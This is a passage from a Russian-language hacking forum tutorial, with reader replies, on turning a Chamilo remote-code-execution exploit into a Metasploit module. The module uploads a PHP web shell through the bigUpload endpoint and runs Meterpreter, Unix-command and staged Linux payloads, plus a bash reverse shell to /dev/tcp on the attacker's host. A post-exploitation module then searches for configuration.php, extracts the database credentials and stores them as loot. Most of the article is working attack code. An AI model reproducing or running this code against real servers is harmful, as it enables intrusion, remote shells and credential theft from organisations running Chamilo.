                }
              },
              'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}
            }
          ],
          ['Linux (x86)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
              'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}
            }
          ],
          ['Linux (x64)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
            }
          ]
        ],
      'DisclosureDate' => '2023-09-03',
      'DefaultTarget'  => 0,
      'Notes'          =>
        {
          'Stability'   => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Chamilo', '/']),
        OptString.new('WEBSHELL_NAME', [false, 'Name of the uploaded shell', 'rce.php']),
      ])
  end

Как видно, она сильно преобразилась, добавилось перечисление поддерживаемых платформ и архитектур. Кроме того, появилось подробное описание таргетов. Это нужно, чтобы у пользователя было больше возможностей для создания надежных сессий. Не получилось запуститься через PHP, пробуем пэйлоады подходящие к той или иной юникс-подобной системе. Юникс-подобной по причине того, что у нас тестовый сервер на Linux

При использовании модуля, от пользователя потребуется только указать IP удаленного и своего хоста, плюс порты. Дополнительные свойства это путь к чамило (TARGETURI) и имя файла вебшелла с которым он будет загружен на сервер (WEBSHELL_NAME).

Так как у нас несколько вариантов платформ, оптимальным вариантом будет раскидать работу с каждой в отдельную функцию. В результате запускающая функция будет выглядеть как-то так:


Ruby:
def exploit
    print_status("Exploiting #{target.name} target...")
 
    upload_webshell
 
    case target.name
    when 'PHP'
      exploit_php
    when 'Unix Command'
      exploit_unix_cmd
    when /Linux/
      exploit_linux
    else
      fail_with(Failure::NoTarget, "Unsupported target: #{target.name}")
    end
  end

Внезапно к нам на огонек ворвался объект “target”. Этот чудесный объект нигде объявлять не нужно, нам его дарит Metasploit Framework API. Он является глобальным и доступен во всех методах. Основные свойства: name, arch, platform. Является расширяемым, зависит от метаописания модуля и настроек. В нашем примере, когда пользователь выполнит “set TARGET 0”, объект получит имя “PHP”, платформу “php” и архитектуру “ARCH_PHP”. Дополнительно, пэйлоад установится в 'php/meterpreter/reverse_tcp'.

Вернемся к коду. Сначала выполняется функция загрузки шелла. Независимо от платформы и прочего, мы будем запускать один и тот же кусок кода:

Ruby:
def upload_webshell
    webshell_name = datastore['WEBSHELL_NAME'] || "#{rand_text_alphanumeric(8)}.php"
    upload_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'inc', 'bigUpload.php')
    @webshell_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'files', webshell_name)
 
    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
    post_data = [
      "--#{boundary}",
      "Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"#{webshell_name}\"",
      "Content-Type: application/x-php",
      "",
      "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>",
      "--#{boundary}--",
      ""
    ].join("\r\n")


    print_status("Uploading webshell #{webshell_name}...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => upload_url,
      'query'   => 'action=post-unsupported',
      'ctype'   => "multipart/form-data; boundary=#{boundary}",
      'data'    => post_data
    })


    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Failed to upload the webshell')
    end


    print_good("Webshell uploaded to: #{full_uri(@webshell_url)}")
    register_file_for_cleanup(webshell_name)
  end

@webshell_url начинается с собаки, чтобы переменная была глобальной, так как потребуется полный урл нашего вебшелла, какой бы тип пэйлоада мы не выбрали.

Ruby:
def exploit_php
    print_status("Executing PHP payload...")
 
    php_payload = payload.encoded.gsub(/'/, "'\\\\''")
    cmd = "php -r '#{php_payload}'"
 
    send_request_cgi({
      'method' => 'GET',
      'uri'    => @webshell_url,
      'vars_get' => {
        'cmd' => cmd
      },
      'headers' => { 'Connection' => 'close' }
    }, 0)
 
    print_status("Waiting for PHP Meterpreter session...")
  end

Почти ничего нового, кроме крутого объекта “payload”. В нем храниться информация о нашем пэйлоаде. В данном случае, мы берем подготовленную для таргета версию (encoded) и заменяем апострофы. При необходимости можно получить сырой пйэлоад (raw), посмотреть запрещенные символы (badchar) и т.д. Данный объект нельзя изменять, но при необходимости можно на лету создать новый пайлоад с новыми параметрами. Самый простой вариант использования генератора пайлоадов — подбор обхода WAF при той же SQL Injection.

Тестовый запуск атаки:

1743721160055.png


Как видно, наш модуль прекрасно отработал. Создалась сессия, загрузилась оболочка, стабильный доступ к серверу организован. Даже остался мусор в виде тестовых файлов)))

Ruby:
def exploit_linux
    print_status("Executing Linux staged payload...")
    execute_cmdstager(
      flavor: :curl,
      noconcat: true,
      enc_format: :php,
      payload_path: "#{full_uri(@webshell_url)}?cmd="
    )
  end

В данном случае используется создание сессии по шагам. Думаю, если вы читаете тему, вряд ли нужно объяснять как это работает))) Чтобы запустить процесс, когда у нас есть возможность выполнять команды на сервер, достаточно вызвать функцию “execute_cmdstager”.

Причем, функция работает не только для linux-платформ. Можно так же создавать сессию для веб-приложений или Windows-систем. Функция крутая, проще справку по ней почитать, чем писать статью в статье)))

Обратите внимание, что в данном случае у нас появляется необходимость указать SRVPORT и он должен быть свободным. Так как докер крутит Chamilo на 8080, указал 8081:

1743721180835.png


Результат работы скрипта:

1743721189926.png


Функция для Unix очень похожа на PHP:

Ruby:
def exploit_unix_cmd
  print_status("Executing Unix command payload...")
 
  cmd = payload.encoded
 
  vprint_status("Executing command: #{cmd}")
 
  send_request_cgi({
    'method' => 'GET',                  
    'uri'    => @webshell_url,          
    'vars_get' => {                      
      'cmd' => cmd.gsub(/'/, "'\\\\''")  
    },
    'headers' => { 'Connection' => 'close' }
  }, 0)
end

Результат работы выглядит так:

1743721218468.png


Чтоже, целей своих мы добились — уязвимость прекрасно чекается, эксплуатируется и создаются полноценные сессии в Метасплоите.

Но есть ли альтернативный путь? Что если нет возможности использовать существующие пэйлоады? В этом случае, нам на помощь придет команда “handler”.

Ruby:
def exploit_unix_cmd
  handler
  send_request_cgi({
    'uri' => @webshell_url,
    'vars_get' => {'cmd' => "bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1'"}
  })
end

В данном случае, код не несет смысловой нагрузки, просто как демонстрация, пример использования handler.

handler создаст слушатель, который дождется обратного соединения и автоматически обработает его, создав сессию. Но важно помнить, что при использовании reverse-shell команда должна идти до выполнения пэйлоада. Если же речь про bind-shell, когда на сервере ожидается наше подключение, хандлер вызывается после выполнения пэйлоада. Результат для пользователя — полноценная сессия, с боль-мень удобным шеллом, автодополнением команд и т.п.

Post-Exploitation​

Раз у нас есть сессия, почему бы не дожать тему и не написать модуль пост-эксплуатации? Исключительно для практики, попробовать разные штуки и еще немного глубже узнать Metasploit Framework API.

Модули пост-эксплуатации могут иметь множество задач: можно при помощи них пытаться поднять привилегии; можно каким-то образом перенастраивать веб или другое приложение, если у вас поточная работа; можно собирать данные и т.д и т.п. Чтобы не уходить далеко от написанного, предлагаю решать простую задачу — получать данные подключения к базе со взломанной машины с Chamilo. Выполняем поиск “configuration.php”, после чего находим имя хоста, базы…

Начнем с инициализации модуля, здесь все привычно:

Ruby:
class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report


  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chamilo Configuration Scanner',
        'Description' => %q{
          Locates configuration.php files and extracts database credentials.
          Supports various Chamilo configuration file formats.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'petrinh1988' ],
        'References'     =>
          [
            ['URL', 'https://xss.pro/members/356055/']
          ],        
        'Platform' => [ 'linux', 'unix' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

Из нового здесь строка “SessionTypes”. Это не просто формальность, она реально используется Метасплоитом. Фильтры просто не позволят увидеть модуль, если тип сессии не соответствует. Кстати, обратите внимание, что у нас не указан “meterpreter_php”, а именно он используется в Chamilo RCE в состоянии TARGET равного 1. Я не проверял совместимость кода модуля пост-эксплуатации с данными типом сессии, высока вероятность появления ошибок.

И так, нам надо найти конфигурационные файлы. Я сделал возможность расширить места поиска, но оставил одно значение в массиве, чтобы не растягивать процесс:

Ruby:
def find_config_files
    print_status("Starting configuration file search...")
 
    search_paths = ["/var/www/html/app"]
    found_files = []


    search_paths.each do |path|
      next unless directory?(path)


      print_status("Searching in #{path}...")
      begin
        files = session.fs.file.search(path, 'configuration.php', true, 7)
        next if files.empty?


        files.each do |file|
          full_path = "#{file['path']}/#{file['name']}"
          found_files << full_path if file_exist?(full_path)
        end
      rescue => e
        print_error("Search error in #{path}: #{e.message}")
      end
    end


    found_files.uniq
  end

Функция обходит массив папок по которым ищем. Каждый раз убеждаемся, что имеем дело с директорией.
Ruby:
session.fs.file.search(path, 'configuration.php', true, 7)

Это функция поиска в папке. В данном случае, передав “true” мы сообщаем, что поиск нужен рекурсивный. Число, ожидаемо, глубина поиска. Что интересно, при значении 5, скрипт не находил файла. Хотя казалось бы, от папки app нужно залезть в подпапку config и там лежит нужный файл.

Далее обходим найденные файлы, проверяя что они действительно существуют. На выходе функция возвращает только уникальные значения.

Функция проверки директория ли:
Ruby:
def directory?(path)
    if session.type == 'meterpreter'
      session.fs.file.stat(path).directory?
    else
      cmd_exec("test -d #{path} && echo true").include?('true')
    end
  rescue
    false
  end

Как вы догадались, session.fs.file это объект, который MSFA предоставляет для взаимодействия с файловой системой привязанной к сессии с типом meterpreter. В ином случае, используется запуск команды на целевой машине через cmd_exec. Хук с include построен на том, что && echo true выполнится только в случае успешного выполнения первой части команды.

Очень похожая функция проверки файла на существование:

Ruby:
def file_exist?(path)
    if session.type == 'meterpreter'
      session.fs.file.exist?(path)
    else
      cmd_exec("test -f #{path} && echo true").include?('true')
    end
  rescue
    false
  end

Когда мы нашли файлы конфигураций, самое время обойти их и поискать нужные нам значения. Чтобы не хитрить, вызов первой функции и цикл обхода, легли в запускающий метод run:

Ruby:
def run
    config_files = find_config_files
    return print_error("No configuration files found") if config_files.empty?

    config_files.each { |file| process_config_file(file) }
  end

Далее читаем файл, ищем кредсы и сохраняем их если все ок:

Ruby:
def process_config_file(file_path)
    print_good("Found configuration: #{file_path}")

    raw_config = read_file(file_path)
    unless raw_config
      print_error("Failed to read file: #{file_path}")
      return
    end

    print_status("Config sample (first 200 chars): #{raw_config[0..200]}...")

    credentials = {
      db_host:     extract_value(raw_config, 'db_host'),
      db_port:     extract_value(raw_config, 'db_port') || '3306',
      db_user:     extract_value(raw_config, 'db_user'),
      db_password: extract_value(raw_config, 'db_password'),
      db_name:     extract_value(raw_config, 'db_name'),
      config_path: file_path
    }

    if valid_credentials?(credentials)
      print_good("Valid credentials found!")
      print_credentials(credentials)
      store_credentials(credentials)
    else
      print_error("Invalid credentials. Extracted values:")
      credentials.each { |k,v| print_line(" #{k.to_s.ljust(12)}: #{v.inspect}") }
      print_error("Please check the regular expression pattern")
    end
  end

Функция парсинга значений:

Ruby:
def extract_value(data, key)
    pattern = /
      \$_configuration\s*\[\s*['"]#{key}['"]\s*\]\s*=>?\s*['"](.*?)['"]\s*;
    /ix
 
    match = data.match(pattern)
    if match
      print_good("Found match for #{key}: #{match[1]}")
      match[1]
    else
      print_error("No match found for key: #{key}")
      nil
    end
  end

Функция проверки данных номинальная. Она нужна для того, чтобы не возникло проблем при сохранении данных. Больше на всякий случай… проверяет чтобы все данные были иначе ошибка:

Ruby:
def valid_credentials?(creds)
    creds[:db_host] && creds[:db_user] && creds[:db_password] && creds[:db_name]
  end

Выод информации пользователю:

Ruby:
def print_credentials(creds)
    print_good("Database Credentials")
    print_line(" Config Path:  #{creds[:config_path]}")
    print_line(" Host:         #{creds[:db_host]}")
    print_line(" Port:         #{creds[:db_port]}")
    print_line(" User:         #{creds[:db_user]}")
    print_line(" Password:     #{creds[:db_password]}")
    print_line(" Database:     #{creds[:db_name]}")
    print_line("\n")
  end

1743721487353.png


Последняя функция, но не последняя по значению - функция сохранения данных. Сохранять будем в JSON-файл

Ruby:
def store_credentials(creds)
    loot = {
      timestamp:    Time.now.utc,
      config_path:  creds[:config_path],
      db_host:      creds[:db_host],
      db_port:      creds[:db_port],
      db_name:      creds[:db_name],
      db_user:      creds[:db_user],
      db_password:  creds[:db_password]
    }

    store_loot(
      'chamilo.db.credentials',
      'application/json',
      session,
      loot.to_json,
      'chamilo_creds.json',
      'Chamilo Database Credentials'
    )
  end

store_loot позволяет сохранять добытые данные в структурированном виде. Вызов с комментариями:

Ruby:
store_loot(
  'chamilo.db.credentials',       # Уникальный ID лута
  'application/json',             # Тип данных (JSON, text, binary)
  session,                        # Текущая сессия
  loot_data.to_json,              # Данные для сохранения (в JSON)
  'chamilo_creds.json',           # Имя файла
  'Chamilo Database Credentials'  # Описание
)

По идее, можно использовать команду loot, чтобы посмотреть список сохраненных в БД метасплоита лутов. После чего выбрать нужный лут и в табличном виде увидеть результа. Если не вышло, можно запустить irb, после чего найти все лут-файлы. Команды:

Bash:
msf6 > irb  # Открыть интерактивную Ruby-консоль
>> Dir.glob("#{Msf::Config.loot_directory}/*.json").each { |f| puts f }

Вывод:

1743721558938.png


Выод из БД:

1743721567444.png


Чтобы запустить метасплоит с базой, надо поднять postgres и выполнить инициализацию командой msfdb init.

Пример файла лута:

JSON:
{
"timestamp":"2025-04-03T20:17:02.208Z",
"config_path":"/var/www/html/app/config/configuration.php",
"Db_host":"db",
"Db_port":"3306",
"Db_name":"chamilo",
"Db_user":"chamilo",
"db_password":"chamilopassword"
}

Вроде как, если запустить msfconsole с параметром --keystore, то и лут должен быть зашифрованным.

Это не единственный способ сохранить данные, но вполне хороший вариант чтобы не потерять важные данные.

Возможные проблемы и их решение​

Большинство проблем, как обычно из-за невнимательности. Например, я долго и упорно искал проблемы в коде, когда нужно было просто указать другой SRVPORT. Но нужно помнить, что проект собран на Docker и в минималке, поэтому много чего может не хватать.
  1. Убедитесь в существовании нужных папок и файлов. Выше уже писал, что может вовсе не быть папки files. Эта проблема встречалась у меня на Windows, в Linux нет, но мало ли.
  2. Проверьте права. В целом, чтобы не мучаться, я тупо ставил права 777 на папку files. Учитывая, что мы портировали эксплоит, в данном случае так вполне себе можно.
  3. Я тестировал на Kali в VirtualBox. Если делаете так же, сетевой адаптер нужно поставить как “сетевой мост”. Тогда спокойно можно юзать адрес машины вида 192.168… При попытках работать со 127.0.0.1 как с сервером для подключения реверс-шелла, могут возникнуть проблемы.
  4. Убедитесь, что все нужно есть. Я добавил в Dockerfile установку netcat и прочего, но мало ли.
  5. Не стесняйтесь подключиться к контейнеру и руками выполнить то, что хотите от скрипта. Не важно, find это или обратное соединение через nc.
  6. Используйте “ruby -c путькфайлу” для проверки синтаксиса, должно быть всегда “Syntax OK”
  7. В минуты отчаяния, я сношу практически все из модуля, а потом построчно добавляю пока не наткнусь на ошибку... иногда проще так, чем логи и вот это ваше все...

В завершении​

Metasploit Framework API предоставляет реально крутые возможности для разработки хакерских решений. Именно решений, которые могут работать как сами по себе, так и в купе с другими уже существующими модулями или вовсе сторонним ПО. По болошому счету, есть мощные инструменты, по типу метерпретера и безграничная свобода действий.

В статье мы разобрали лишь малую часть. Да, накидали неплохой модуль для поиска бэкапов. Посмотрели, как портировать существующий эксплоит. Успешно портировали, попутно разобрав кучу проблем с докером и прочим. И завершились постэксплуатацией. Но если, например, поговорить о вариантах сохранения данных, мы рассмотрели одну функцию из огромного количества.Интерфейс Msf::Auxiliary::Report поддерживает create_cracked_credential, report_note и т.д., а не только сохранение лута.

Собственно, буду рад если чирканете пару строк…, понравилась не понравилась статья, может что-то нужно добавить или раскрыть какую-то тему новой статьей? А может я чего коряво применил и есть более хороший вариант?

P.S.
В архиве две папки: Auxiliary и CVE. В первой все, что касается поиска бэкапов. Во второй все про Chamilo. Куча вложенных подпапок это фактический путь к модулям.
 

Вложения

  • projects.zip
    22.2 КБ · Просмотры: 20
Последнее редактирование:
Спасибо за статью, было интересно, лично для меня вовремя попалась статья, так как нужно портировать пару эксплойтов в msf.
Пути без указания домена, только часть относящаяся к pah
path?
Plugins — плагины, это особый тип модулей, который позволяет создавать любимые мной интеграции. Если эта тема интересна, дайте знать, могу выдать очень интересный материал. Интеграция Метасплоита со сканерами мне показалась крайне интересной, можно построить конвейер в полуавтоматическом режиме ломающий таргеты.
Было бы замечательно прочитать материал с твоей подачей, доступно и пошагово
 
Спасибо за статью, было интересно, лично для меня вовремя попалась статья, так как нужно портировать пару эксплойтов в msf.

Спасибо! Рад, что вовремя и понравилась статья. Крайне приятно читать такие комментарии)

path?

Ну типа не http://superdomain.com/admin/index.php, а admin/index.php
 
Интересно, существует ли возможность запуска какого либо модуля без самого метасплоита?

Я понимаю что статья начинается с
Первым делом, всегда импортируется ядро msf
Но может быть ... На практике не всегда хочется разворачивать на VPS весь метасплоит ради одного модуля.

Вопрос их разряда мысли вслух. А может и тема для будующей статьи, если это ещё кому-то надо кроме меня:)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх